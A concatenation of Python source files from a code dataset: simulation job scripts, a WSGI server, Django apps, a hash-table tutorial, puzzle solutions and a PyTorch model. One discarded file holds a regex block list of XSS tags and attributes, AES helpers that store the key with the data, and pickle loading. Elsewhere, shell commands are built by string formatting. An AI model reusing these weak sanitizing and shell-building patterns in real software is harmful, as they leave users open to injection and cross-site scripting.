model = value_tuple\n os.system(\"python3.6 %s/simulate_model.py %s %s %s %s %s \"\n \"--Restrict_crossfeeding %s --keff_transporter_1 %s \"\n \"--keff_transporter_2 %s --glucose_uptake %s \"\n \"--model_to_use %s\" %\n (sim_script_dir, pair, f, q1, q2, mode, restrict, k1, k2,\n uptake, model))\n\n\ndef does_sim_exist(simulation_directory, pair, mode, f, q1, q2, k1, k2,\n met=None):\n\n if mode == 'secretion_keff_sweep':\n file_loc = \\\n '%s/%s/%s/%.2f_%.2f_0_secretion_multiplier/' \\\n '%.2f_frac_strain1_sol.json' % \\\n (simulation_directory, mode, pair, k1*100, k2*100, f)\n\n elif mode == 'unmodeled_sweep':\n file_loc = \\\n '%s/%s/%s/%.2f_%.2f_0_unmodeled_protein/' \\\n '%.2f_frac_strain1_sol.json' % \\\n (simulation_directory, mode, pair, q1*100, q2*100, f)\n\n elif mode == 'metabolite_limitation':\n file_loc = \\\n '%s/%s/%s/%s/%.2f_frac_strain1_sol.json' % \\\n (simulation_directory, mode, pair, met, f)\n\n elif mode == 'default':\n file_loc = '%s/%s/%s/%.2f_%.2f_unmodeled_protein' \\\n '/%.2f_frac_strain1_sol.json' % \\\n (simulation_directory, mode, pair, q1*100, q2*100, f)\n elif mode == 'glucose_limited':\n file_loc = '%s/%s/%s/%.2f_%.2f_unmodeled_protein' \\\n '/%.2f_frac_strain1_sol.json' % \\\n (simulation_directory, mode, pair, q1*100, q2*100, f)\n else:\n raise UserWarning('Mode (%s) is not valid' % mode)\n\n if os.path.exists(file_loc):\n return True\n else:\n print('Output in ', file_loc)\n return False\n","sub_path":"optaux/submit_jobs/submit_local.py","file_name":"submit_local.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"96200878","text":"# -*- coding:utf-8 -*-\nimport sys\nimport os\ndir_sign=os.path.split(os.path.realpath(__file__))[0] #将当前的目录sign加入sys的path路径,方便 python执行时能够找到自定义的库\nsys.path.append(dir_sign)\nfrom wsgiref.simple_server import make_server #由于该server只能支持单线程,因此一般只作测试之用\nfrom urlconf import urlConf\nimport urllib\n\n\n\n# 不同的网址有不同的结果,但是所有的处理逻辑写到一起,很混乱\ndef application(environ, start_response):\n url = environ['PATH_INFO']\n if url==\"/update-action/\":\n request_body_size = int(environ.get('CONTENT_LENGTH', '0'))\n request_body = environ['wsgi.input'].read(request_body_size) #提取post请求的body数据\n request_bod=request_body.replace('&','=')\n data_list = request_bod.split('=',5)\n msg_recevieUrl=urllib.unquote(data_list[1]) #python2 直接用 urllib,python3需要用urllib.parse.unquote()\n msg_from_pjs=urllib.unquote(data_list[3]).replace('+',\" \")\n msg_from_lxt=urllib.unquote(data_list[5]).replace('+',' ')\n response_fun=urlConf[0][1]\n response_body=response_fun(msg_recevieUrl,msg_from_pjs,msg_from_lxt)\n start_response('200 OK', [('Content-Type', 'text/html')])\n return response_body\n else:\n response_fun = None\n for item in urlConf:\n if url == item[0]:\n response_fun = item[1]\n break\n if response_fun:\n request_body_size = int(environ.get('CONTENT_LENGTH', '0'))\n request_body = environ['wsgi.input'].read(request_body_size) #提取post请求的body数据\n data_list = request_body.split('=',1)\n encryptMsg = data_list[1].replace('%3D','=')\n start_response('200 OK', [('Content-Type', 'text/html')])\n response_body = response_fun(encryptMsg)\n else:\n start_response('404 Not Found', [('Content-Type', 'text/html')])\n response_body = [bytes('

    404 !

    '.encode(\"utf-8\"))]\n return response_body\n\n\ndef run_server(host,port):\n server = make_server(host, port, application)\n server.serve_forever()\n\nif __name__ == '__main__':\n host=\"10.1.20.85\"\n port=8002\n run_server(host,port)","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"237686035","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.all_conversions, name='conversions'),\n path('/', views.conversion_detail, name='conversion_detail'),\n path('save_listing/&/', views.save_listing, name='save_listing'),\n path('add/', views.add_conversion, name='add_conversion'),\n path('edit//', views.edit_conversion, name='edit_conversion'),\n path('delete_image///', views.delete_conversion_image, name='delete_conversion_image'),\n path('delete//', views.delete_conversion, name='delete_conversion'),\n path('manage/', views.manage_conversions, name='manage_conversions'),\n path('approve/', views.approve_conversion, name='approve_conversion'),\n path('delist/', views.delist_conversion, name='delist_conversion'),\n]\n","sub_path":"conversions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"594008618","text":"import geojson\nimport pandas as pd\nimport numpy as np\nimport csv\n\n\"\"\"\nRunning this script will give a result array of arrays containing:\n index 0 - place_name\n index 1 - address\n index 2 - postal_code\n index 3 - coordinates\n index 4 - district\n\"\"\"\ndef get_data():\n name_offset = len('ICENSEE_NAME<\\/th> ')\n address_offset = len('REMISES_ADDRESS ')\n postal_code_offset = len('OSTAL_CODE<\\/th> ')\n grade_offset = len('RADE<\\/th> ')\n result= []\n print('hi')\n with open(\"certificate-grading-info-of-licensed-eating-establishments-geojson.geojson\") as f:\n data = geojson.load(f)\n length = len(data['features'])\n \n\n for i in range(len(data['features'])):\n x = data['features'][i]['properties']['Description'] #POI\n \n index = x.find('LICENSEE_NAME')\n index_2 = x.find('', index+name_offset+1)\n name = x[index+name_offset:index_2]\n #POI name\n\n index_3 = x.find('PREMISES_ADDRESS')\n index_4 = x.find('', index_3+address_offset+1)\n if(x[index_3+address_offset+1:index_4].find('SINGAPORE')>-1):\n token = x[index_3+address_offset+1:index_4].find('SINGAPORE')\n address = x[index_3+address_offset+1:token+index_3+address_offset+1] #POI address (Remove postal code as some included it)\n else:\n address = x[index_3+address_offset+1:index_4] #POI address\n\n index_5 = x.find('POSTAL_CODE')\n index_6 = x.find('', index_5+postal_code_offset+1)\n postal_code = x[index_5+postal_code_offset:index_6] #Postal Code\n\n coordinates = data['features'][i]['geometry']['coordinates'] #Coordinates\n\n district_code = x[index_5+postal_code_offset:index_6][0:2] #District Code\n\n index_7 = x.find('GRADE')\n index_8 = x.find('', index_7+grade_offset+1)\n grade = x[index_7+grade_offset:index_8]\n\n if(grade == 'A'):\n result.append([])\n result[-1].append(name)\n result[-1].append(address)\n result[-1].append(postal_code)\n result[-1].append(coordinates)\n result[-1].append(district_code)\n \n #Remove dup(name and postal code)\n i = 0\n y = len(result)\n while(i using 2 operations: add elements to the hash using put() function & retrieve elements using get() method\n-> treat our hash table as a list: with the special methods __setitem__() and __getitem__()\n\n\n\nB) Non-string keys\nIf necessary, you could use any other Python type for keys. If you create your own class that you want to use as a key,\nyou will probably want to override the special __hash__() function for that class, so that you get reliable hash values.\nNote that you would still have to calculate the modulo (%) of the hash value and the size of the hash table to get the\nslot. That calculation should happen in the hash table and not in the key class, since the table knows its own size\n(the key class should not know anything about the table that it belongs to).\n\"\"\"\n\n\n# Create a class to hold hash table items, which have a key and a value.\nclass HashItem:\n def __init__(self, key, value):\n self.key = key\n self.value = value\n\n\n# Create a hash table class - table uses a standard Python list to store its elements (could use linked list)\nclass HashTable:\n def __init__(self):\n # total number of slots in the table (used/unused): 256 elements\n self.size = 256\n # initialize a list containing 256 elements (slots/buckets)\n self.slots = [None for i in range(self.size)]\n # the number of slots that are filled\n # the number of actual elements(key-value pairs) added to the table\n self.count = 0\n\n # Add hashing function to the table - meant to be used internally by the class => underscore(_)\n # this _hash() function is going to generate the hash value of keys = strings\n def _hash(self, key):\n multiplier = 1\n hash_value = 0\n for ch in key:\n hash_value += multiplier * ord(ch)\n multiplier += 1\n # ensure that the hashing function returns a value in (1, 256) (table size)\n # by returning the remainder (is always going to be an int in (0, 255)\n return hash_value % self.size\n\n # I. put() and get()\n # Add elements to the hash\n def put(self, key, value):\n # embedding the key and the value into the HashItem class\n item = HashItem(key, value)\n # computing the hash of the key\n h = self._hash(key)\n\n # Now we need to find an empty slot. We start at the slot that corresponds to the hash value of the key.\n # # If that slot is empty, we insert our item there; if the slot is not empty\n while self.slots[h] is not None:\n # if the key of the item is the same as our current key\n if self.slots[h].key is key:\n break\n # if not => collision => handle a conflict => this linear way of resolving collisions:\n h = (h + 1) % self.size\n # If this is a new element (that is, it contained None previously), increase count\n if self.slots[h] is None:\n self.count += 1\n # insert the item into the list at the required position:\n self.slots[h] = item\n\n # Returns the value that corresponds to a key\n def get(self, key):\n # Calculate the hash of the key\n h = self._hash(key)\n\n # start looking through the list for an element that has the key we are searching for\n while self.slots[h] is not None:\n # start at the element which has the hash value of the key that was passed in\n # if the current element is the correct one (If we find our key), return the value\n if self.slots[h].key is key:\n return self.slots[h].value\n # else, move to next slot (compute a new index)\n h = (h + 1) % self.size\n # if we find an element that contains None (key was not found in the table):\n return None\n\n # II. special methods __setitem__() and __getitem__()\n def __setitem__(self, key, value):\n self.put(key, value)\n\n def __getitem__(self, key):\n return self.get(key)\n\nht = HashTable()\nht.put(\"good\", \"eggs\")\nht.put(\"better\", \"ham\")\nht.put(\"best\", \"spam\")\nht.put(\"ad\", \"do not\")\nht.put(\"ga\", \"collide\")\n\n# I. Test code for put() and get() methods; using ht.get(\"good\")\n# key worst returns None, since the key does not exist\n# The keys ad and ga also return their corresponding values => the collision between them is dealt with.\nfor key in (\"good\", \"better\", \"best\", \"worst\", \"ad\", \"ga\"):\n v = ht.get(key)\n print(v)\n\nprint(\"\\n\")\n\n# II. Test code for special methods __setitem__() and __getitem__(); using ht[\"good\"]\nfor key in (\"good\", \"better\", \"best\", \"worst\", \"ad\", \"ga\"):\n v = ht[key]\n print(v)\nprint(\"The number of elements is: {}\".format(ht.count))","sub_path":"my_work/ch5_hashing_and_symbol_tables/hash_table.py","file_name":"hash_table.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"633376951","text":"from collections import deque\r\n\r\ndef isRange(x1,y1,x2,y2,n):\r\n if x1<0 or x1>=n or y1<0 or y1>=n or x2<0 or x2>=n or y2<0 or y2>=n:\r\n return False\r\n return True\r\n\r\ndef solution(board):\r\n moveDir=[[-1,0],[1,0],[0,-1],[0,1]]\r\n n=len(board)\r\n q=deque()\r\n q.append([[0,0],[1,0],0,0]) #좌표 2개, mainAxis, count\r\n visited=[[[0,0] for _ in range(n)] for _ in range(n)]\r\n visited[0][0][0]=1\r\n while q:\r\n [x1,y1],[x2,y2],mainAxis,cnt=q.popleft()\r\n if x2==n-1 and y2==n-1:\r\n return cnt\r\n \r\n # 단순 이동\r\n for i in range(4):\r\n nx1=x1+moveDir[i][0]\r\n ny1=y1+moveDir[i][1]\r\n nx2=x2+moveDir[i][0]\r\n ny2=y2+moveDir[i][1]\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[ny1][nx1][mainAxis]==0:\r\n q.append([[nx1,ny1],[nx2,ny2],mainAxis,cnt+1])\r\n visited[ny1][nx1][mainAxis]=1\r\n \r\n # 90도 회전\r\n crossAxis=(mainAxis+1)%2\r\n if mainAxis==0: #0이면 가로, 1이면 세로\r\n nx1,nx2=x1,x2\r\n ny1,ny2=y1-1,y2-1\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[ny1][nx1][crossAxis]==0:\r\n q.append([[nx1,ny1],[x1,y1],crossAxis,cnt+1])\r\n visited[ny1][nx1][crossAxis]=1\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[ny2][nx2][crossAxis]==0: \r\n q.append([[nx2,ny2],[x2,y2],crossAxis,cnt+1])\r\n visited[ny2][nx2][crossAxis]=1\r\n nx1,nx2=x1,x2\r\n ny1,ny2=y1+1,y2+1\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[y1][x1][crossAxis]==0:\r\n q.append([[x1,y1],[x1,y1+1],crossAxis,cnt+1])\r\n visited[y1][x1][crossAxis]=1\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[y2][x2][crossAxis]==0:\r\n q.append([[x2,y2],[x2,y2+1],crossAxis,cnt+1])\r\n visited[y2][x2][crossAxis]=1\r\n \r\n else:\r\n nx1,nx2=x1-1,x2-1\r\n ny1,ny2=y1,y2\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[y1][x1-1][crossAxis]==0:\r\n q.append([[x1-1,y1],[x1,y1],crossAxis,cnt+1])\r\n visited[y1][x1-1][crossAxis]=1\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[y2][x2-1][crossAxis]==0:\r\n q.append([[x2-1,y2],[x2,y2],crossAxis,cnt+1])\r\n visited[y2][x2-1][crossAxis]=1\r\n nx1,nx2=x1+1,x2+1\r\n ny1,ny2=y1,y2\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[y1][x1][crossAxis]==0:\r\n q.append([[x1,y1],[x1+1,y1],crossAxis,cnt+1])\r\n visited[y1][x1][crossAxis]=1\r\n if isRange(nx1,ny1,nx2,ny2,n) and board[ny1][nx1]==0 and board[ny2][nx2]==0 and visited[y2][x2][crossAxis]==0:\r\n q.append([[x2,y2],[x2+1,y2],crossAxis,cnt+1])\r\n visited[y2][x2][crossAxis]=1\r\n\r\n\r\n\r\nprint(solution([[0, 0, 0, 1, 1],\r\n [0, 0, 0, 1, 0],\r\n [0, 1, 0, 1, 1],\r\n [1, 1, 0, 0, 1],\r\n [0, 0, 0, 0, 0]]))\r\n\r\nprint(solution([[0, 0, 0, 0, 0, 0, 1], \r\n [1, 1, 1, 1, 0, 0, 1], \r\n [0, 0, 0, 0, 0, 0, 0], \r\n [0, 0, 1, 1, 1, 1, 0], \r\n [0, 1, 1, 1, 1, 1, 0], \r\n [0, 0, 0, 0, 0, 1, 1], \r\n [0, 0, 1, 0, 0, 0, 0]]))","sub_path":"카카오 코딩테스트/2020 KAKAO BLIND RECRUITMENT/블록 이동하기.py","file_name":"블록 이동하기.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"410888680","text":"from django import forms\nfrom django.contrib import admin\nfrom .models import Cate, SubCate, Page, Type, Index\nfrom ckeditor.widgets import CKEditorWidget\nfrom ckeditor_uploader.widgets import CKEditorUploadingWidget\n\n\nclass CateAdmin(admin.ModelAdmin):\n list_display = ['id', 'name', 'rank']\n\n\nclass SubCateAdmin(admin.ModelAdmin):\n list_filter = ['cate']\n list_display = ['id', 'name', 'cate', 'rank']\n list_display_links = ['id', 'name']\n\n\nclass PageAdminForm(forms.ModelForm):\n content = forms.CharField(widget=CKEditorUploadingWidget(), required=False, label='内容')\n\n class Meta:\n model = Page\n fields = '__all__'\n\n\nclass PageAdmin(admin.ModelAdmin):\n form = PageAdminForm\n\n list_filter = ['subcate', 'status']\n list_display = ['id', 'title', 'subcate', 'parent_id', 'rank', 'status', 'pub_date', 'add_date']\n list_display_links = ['id', 'title']\n list_per_page = 20\n search_fields = ['id', 'title']\n date_hierarchy = 'pub_date'\n\n\nclass TypeAdmin(admin.ModelAdmin):\n list_display = ['id', 'name', 'rank']\n\n\nclass IndexAdmin(admin.ModelAdmin):\n list_display = ['id', 'type', 'page', 'add_date']\n\n\nadmin.site.register(Cate, CateAdmin)\nadmin.site.register(SubCate, SubCateAdmin)\nadmin.site.register(Page, PageAdmin)\nadmin.site.register(Type, TypeAdmin)\nadmin.site.register(Index, IndexAdmin)\n\nadmin.AdminSite.site_header = '网站管理后台'\n","sub_path":"pages/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"83613931","text":"import torch\nimport torch.nn as nn\n\nfrom convs.dnlcwn import DNLCWN\n\n__all__ = ['DNLCWN_AlexNet']\n\nclass DNLCWN_AlexNet(nn.Module):\n\n def __init__(self, num_classes=100, bn=False, gap_mode='prior'):\n super().__init__()\n self.features = nn.Sequential(\n DNLCWN(3, 64, kernel_size=3, stride=2, bn=bn, gap_mode=gap_mode),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2),\n DNLCWN(64, 192, kernel_size=3, bn=bn, gap_mode=gap_mode),\n nn.BatchNorm2d(192),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2),\n DNLCWN(192, 384, kernel_size=3, bn=bn, gap_mode=gap_mode),\n nn.BatchNorm2d(384),\n nn.ReLU(inplace=True),\n DNLCWN(384, 256, kernel_size=3, bn=bn, gap_mode=gap_mode),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n DNLCWN(256, 256, kernel_size=3, bn=bn, gap_mode=gap_mode),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2),\n )\n self.classifier = nn.Sequential(\n nn.Dropout(),\n nn.Linear(256 * 2 * 2, 4096),\n nn.ReLU(inplace=True),\n nn.Dropout(),\n nn.Linear(4096, 4096),\n nn.ReLU(inplace=True),\n nn.Linear(4096, num_classes),\n )\n\n def forward(self, x):\n x = self.features(x)\n x = torch.flatten(x, 1)\n x = self.classifier(x)\n return x\n\ndef test():\n x = torch.randn(64, 3, 32, 32)\n nlcwn = DNLCWN_AlexNet()\n z = nlcwn(x)\n print(z.size())\n\n# test()","sub_path":"cifar/dnlcwn_alexnet.py","file_name":"dnlcwn_alexnet.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"525490246","text":"### boostrapping issue --> moved here.\n\nclass UserPages:\n user = property(lambda self: self.__self__)\n dbsession = property(lambda self: self.user.__self__.dbsession)\n\n\n def _filter_pages(self, pages):\n query = self.dbsession.query(Page).filter(Page.identifier in pages)\n return [page for page in query if page.existant]\n\n\n\n def _add_pagename(self, pagename, group='visited_pages'):\n pages = self._get_pages(group)\n pages.append(pagename)\n setattr(self,group, ' '.join(pages))\n #return self\n\n def _add_page(self, page, group='visited_pages'):\n pages = self._get_pages(group)\n pages.append(page)\n setattr(self,group, ' '.join(pages))\n #return self\n\n def add_visited_page(self,pagename):\n self._add_page(pagename, 'visited_pages')\n return self\n\n def add_owned_page(self,pagename):\n self._add_page(pagename, 'owned_pages')\n return self\n\n def get_owned_pages(self):\n return self._get_pages('owned_pages')\n\n def get_visited_pages(self):\n return list(set(self._get_pages('visited_pages')) - set(self.get_owned_pages()))\n\n def _get_pages(self, group='visited_pages'):\n # for p in [Page(pagename) for pagename in user.owned_pages.split()] if p.exists()\n if getattr(self, group):\n return self._filter_pages(getattr(self, group).split())\n else:\n return []\n\n ############### these methods return not list of string but list of Page instatnces.\n def _get_loaded_pages(self, group='visited_pages'):\n pagelist = []\n if group == 'visited_pages':\n fun = self.get_visited_pages\n else:\n fun = self.get_owned_pages\n for pagename in fun():\n page = Page(pagename)\n if page.encrypted:\n page.settings = {'title': '***********', 'description': 'This page is encrypted.'}\n else:\n page.load()\n pagelist.append(page)\n return pagelist\n\n def get_visited_loaded_pages(self):\n return self._get_loaded_pages(group='visited_pages')\n\n def get_owned_loaded_pages(self):\n return self._get_loaded_pages(group='owned_pages')\n\n visited = property(get_visited_pages)\n owned = property(get_owned_pages)\n\nclass old_Page:\n def __init__(self, identifier, key=None):\n self.identifier = identifier.replace('\\\\', '/').replace('*', '').split('/')[-1]\n self.unencrypted_path = os.path.join('michelanglo_app', 'user-data', self.identifier + '.p')\n self.encrypted_path = os.path.join('michelanglo_app', 'user-data', self.identifier + '.ep')\n self.thumb = os.path.join('michelanglo_app', 'user-data', self.identifier + '.png')\n if key:\n self.path = self.encrypted_path\n else:\n self.path = self.unencrypted_path\n self.settings = {}\n if key:\n self.key = key.encode('utf-8')\n else:\n self.key = None\n\n def exists(self, try_both=False):\n if try_both:\n if os.path.exists(self.unencrypted_path) or os.path.exists(self.encrypted_path):\n return True\n elif os.path.exists(self.path):\n return True\n else:\n return False\n\n def is_password_protected(self, raise_error=False):\n path_exists = os.path.exists(os.path.join('michelanglo_app', 'user-data', self.identifier + '.p'))\n epath_exists = os.path.exists(os.path.join('michelanglo_app', 'user-data', self.identifier + '.ep'))\n if path_exists and not epath_exists:\n return False\n elif not path_exists and epath_exists:\n return True\n else:\n if raise_error:\n raise FileExistsError\n else:\n return False\n\n def load(self, die_on_error=False):\n if self.exists():\n if not self.is_password_protected():\n with open(self.path, 'rb') as fh:\n self.settings = pickle.load(fh)\n elif self.key:\n with open(self.path, 'rb') as fh:\n cryptic = fh.read()\n decryptic = self._decrypt(cryptic)\n self.settings = pickle.loads(decryptic)\n else:\n raise ValueError('No key provided.')\n else:\n if die_on_error:\n raise FileNotFoundError(self.identifier)\n else:\n print(self.identifier, 'not found')\n return self.settings\n\n def save(self, settings=None):\n ## sort things out\n if not settings:\n settings = self.settings\n if 'description' not in settings:\n settings['description'] = '## Description\\n\\nEditable text. press pen to edit.'\n if 'title' not in settings:\n settings['title'] = 'User submitted structure'\n for fun, keys in ((list, ('editors', 'visitors', 'authors')),\n (bool, ('image', 'uniform_non_carbon', 'verbose', 'validation', 'save', 'public',\n 'confidential')),\n (str, (\n 'viewport', 'stick', 'backgroundcolor', 'loadfun', 'proteinJSON', 'pdb', 'description',\n 'title', 'data_other'))):\n for key in keys:\n if key not in settings:\n settings[key] = fun()\n # metadata\n settings['date'] = str(datetime.datetime.now())\n settings['page'] = self.identifier\n settings['key'] = self.key # is this wise??\n ## write\n with open(self.path, 'wb') as fh:\n if not self.key:\n pickle.dump(settings, fh)\n else:\n uncryptic = pickle.dumps(settings)\n cryptic = self._encrypt(uncryptic)\n fh.write(cryptic)\n return True\n\n def delete(self):\n if os.path.exists(self.encrypted_path):\n os.remove(self.encrypted_path)\n return True\n elif os.path.exists(self.unencrypted_path):\n os.remove(self.unencrypted_path)\n return True\n else:\n return False\n\n @staticmethod\n def sanitise_URL(page):\n return page.replace('\\\\', '/').replace('*', '').split('/')[-1]\n\n @staticmethod\n def sanitise_HTML(code):\n def substitute(code, pattern, message):\n code = re.sub(f'<[^>]*?{pattern}[\\s\\S]*?>', message, code, re.IGNORECASE | re.MULTILINE | re.DOTALL)\n pseudo = re.sub('''(<[^>]*?)['`\"][\\s\\S]*?['`\"]''', r'\\1', code,\n re.IGNORECASE | re.MULTILINE | re.DOTALL)\n print(pseudo)\n if re.search(f'<[^>]*?{pattern}[\\s\\S]*?>', pseudo): # go extreme.\n print('here!', pattern)\n code = re.sub(pattern, message, code, re.IGNORECASE | re.MULTILINE | re.DOTALL)\n return code\n\n code = re.sub('', 'COMMENT REMOVED', code)\n for character in ('\\t', '#x09;', ' ', ' ', '\\0'):\n code = code.replace(character, ' ' * 4)\n code = code.replace(character, ' ' * 4)\n for tag in ('script', 'iframe', 'object', 'link', 'style', 'meta', 'frame', 'embed'):\n code = substitute(code, tag, tag.upper() + ' BLOCKED')\n for attr in ('javascript', 'vbscript', 'livescript', 'xss', 'seekSegmentTime', '&{', 'expression'):\n code = substitute(code, attr, attr.upper() + ' BLOCKED')\n code = substitute(code, 'on\\w+', 'ON-EVENT BLOCKED')\n for letter in range(65, 123):\n code = substitute(code, f'�*{letter};', 'HEX ENCODED LETTER BLOCKED')\n code = substitute(code, f'�*{letter:02X};', 'HEX ENCODED LETTER BLOCKED')\n return code\n\n # https://stackoverflow.com/questions/42568262/how-to-encrypt-text-with-a-password-in-python\n def _encrypt(self, source, encode=False):\n key = SHA256.new(self.key).digest() # use SHA-256 over our key to get a proper-sized AES key\n IV = Random.new().read(AES.block_size) # generate IV\n encryptor = AES.new(key, AES.MODE_CBC, IV)\n padding = AES.block_size - len(source) % AES.block_size # calculate needed padding\n source += bytes([padding]) * padding # Python 2.x: source += chr(padding) * padding\n data = IV + encryptor.encrypt(source) # store the IV at the beginning and encrypt\n return base64.b64encode(data).decode(\"latin-1\") if encode else data\n\n def _decrypt(self, source, decode=False):\n if decode:\n source = base64.b64decode(source.encode(\"latin-1\"))\n key = SHA256.new(self.key).digest() # use SHA-256 over our key to get a proper-sized AES key\n IV = source[:AES.block_size] # extract the IV from the beginning\n decryptor = AES.new(key, AES.MODE_CBC, IV)\n data = decryptor.decrypt(source[AES.block_size:]) # decrypt\n padding = data[-1] # pick the padding value from the end; Python 2.x: ord(data[-1])\n if data[-padding:] != bytes([padding]) * padding: # Python 2.x: chr(padding) * padding\n raise ValueError(\"Invalid padding...\")\n return data[:-padding] # remove the padding\n\n\n\n\n\n def remove_visited_page(self, pagename):\n self.visited_pages = self.visited_pages.replace(pagename,'')\n\n def remove_owned_page(self, pagename):\n self.visited_pages = self.visited_pages.replace(pagename,'')\n\n def add_visited_page(self, pagename):\n self.visited_pages += ' ' + pagename\n\n def add_owned_page(self, pagename):\n self.owned_pages += ' ' + pagename\n\n def set_owned_pages(self, pagenames):\n self.owned_pages = ' '.join(pagenames)\n\n def set_visited_pages(self, pagenames):\n self.visited_pages = ' '.join(pagenames)\n\n def get_owned_pages(self):\n return self.owned_pages.split()\n\n def get_visited_pages(self):\n return list(set(self.visited_pages.split()) - set(self.owned_pages.split()))\n\n def select_owned_pages(self, request):\n pagenames = self.get_owned_pages\n pages = Page.select_list(request, pagenames)\n\n def select_visited_pages(self, request):\n pages = self.get_visited_pages\n return Page.select_list(request, pages)","sub_path":"michelanglo_app/models/trash.py","file_name":"trash.py","file_ext":"py","file_size_in_byte":10291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"10654787","text":"\"\"\"\n=> DFS\n1 2 2 \n# # \n\"\"\"\nimport copy\nclass Solution:\n \"\"\"\n @param: : A list of integers\n @return: A list of unique permutations\n \"\"\"\n\n def permuteUnique(self, nums):\n # write your code here\n if not nums:\n return [[]]\n \n nums.sort() \n self.res = []\n self.visited = [False for _ in nums]\n self.dfs(nums, [])\n \n return self.res\n \n def dfs(self, nums, cur_list):\n if len(cur_list) == len(nums):\n self.res.append(cur_list)\n \n for i in range(len(nums)):\n if i > 0 and nums[i] == nums[i - 1] and not self.visited[i - 1]:\n continue\n if not self.visited[i]:\n self.visited[i] = True\n cur_list.append(nums[i])\n self.dfs(nums, copy.copy(cur_list))\n cur_list.pop()\n self.visited[i] = False\n\"\"\" \n=> BFS\n1 2 2 \n# #\n\nThe trick is to put remainning elements with current value in to the queue,\nwhen adding next elements to the queue, we make sure that we don't add duplicate\nelement to the same position\n\"\"\" \nclass Solution2:\n def permuteUnique(self, nums):\n # write your code here\n if not nums:\n return [[]]\n \n nums.sort()\n res = []\n queue = []\n \n for i in range(len(nums)):\n if i > 0 and nums[i] == nums[i - 1]:\n continue\n queue.append([[nums[i]], nums[:i] + nums[i + 1:]])\n \n deque = collections.deque(queue)\n \n while deque:\n cur_list, available_nums = deque.popleft()\n if len(cur_list) == len(nums):\n res.append(cur_list)\n continue\n for i in range(len(available_nums)):\n if i > 0 and available_nums[i] == available_nums[i - 1]:\n continue\n cur_list.append(available_nums[i])\n deque.append([copy.copy(cur_list), available_nums[:i] + available_nums[i + 1:]])\n cur_list.pop()\n \n return res","sub_path":"16_permutations-2/permutations-2.py","file_name":"permutations-2.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"378078879","text":"# Find the first repeating element in an array of integers\n# Input: arr[] = {1, 2, 3, 3, 2, 1} \n# Output: 3\ndef firstDuplicate(arr):\n # Write your code here.\n d = {}\n for i in arr:\n if i in d:\n return i\n else:\n d[i] = 1\n return -1","sub_path":"arrays/firstDuplicate.py","file_name":"firstDuplicate.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"626587290","text":"#!/usr/bin/env python\nimport os\n# -------------------------------------------------------------------- #\n# PROJECT CONFIGURATION #\n# -------------------------------------------------------------------- #\n# Note that this file should only contain settings that can be shared\n# across the entire project (i.e., in both Malawi and Zambia).\n#\n# Customization for a country or specific server environment should be done\n# in the mwana/malawi/ or mwana/zambia/ directories, respectively.\n\n\n# the rapidsms backend configuration is designed to resemble django's\n# database configuration, as a nested dict of (name, configuration).\n#\n# the ENGINE option specifies the module of the backend; the most common\n# backend types (for a GSM modem or an SMPP server) are bundled with\n# rapidsms, but you may choose to write your own.\n#\n# all other options are passed to the Backend when it is instantiated,\n# to configure it. see the documentation in those modules for a list of\n# the valid options for each.\nINSTALLED_BACKENDS = {\n #\"att\": {\n # \"ENGINE\": \"rapidsms.backends.gsm\",\n # \"PORT\": \"/dev/ttyUSB0\"\n #},\n #\"verizon\": {\n # \"ENGINE\": \"rapidsms.backends.gsm,\n # \"PORT\": \"/dev/ttyUSB1\"\n #},\n \"httptester\": {\n \"ENGINE\": \"threadless_router.backends.httptester.backend\",\n },\n}\n\n\n# to help you get started quickly, many django/rapidsms apps are enabled\n# by default. you may wish to remove some and/or add your own.\nINSTALLED_APPS = [\n \"dupechecker\", # needs to go near the front\n\n \"threadless_router.backends.httptester\",\n \"threadless_router.backends.kannel\",\n \"rosetta\",\n \"mwana.apps.broadcast\",\n # this has to come before the handlers app because of the CONFIRM handler\n # in patienttracing\n \"mwana.apps.tlcprinters\",\n 'south',\n # the essentials.\n \"django_nose\",\n 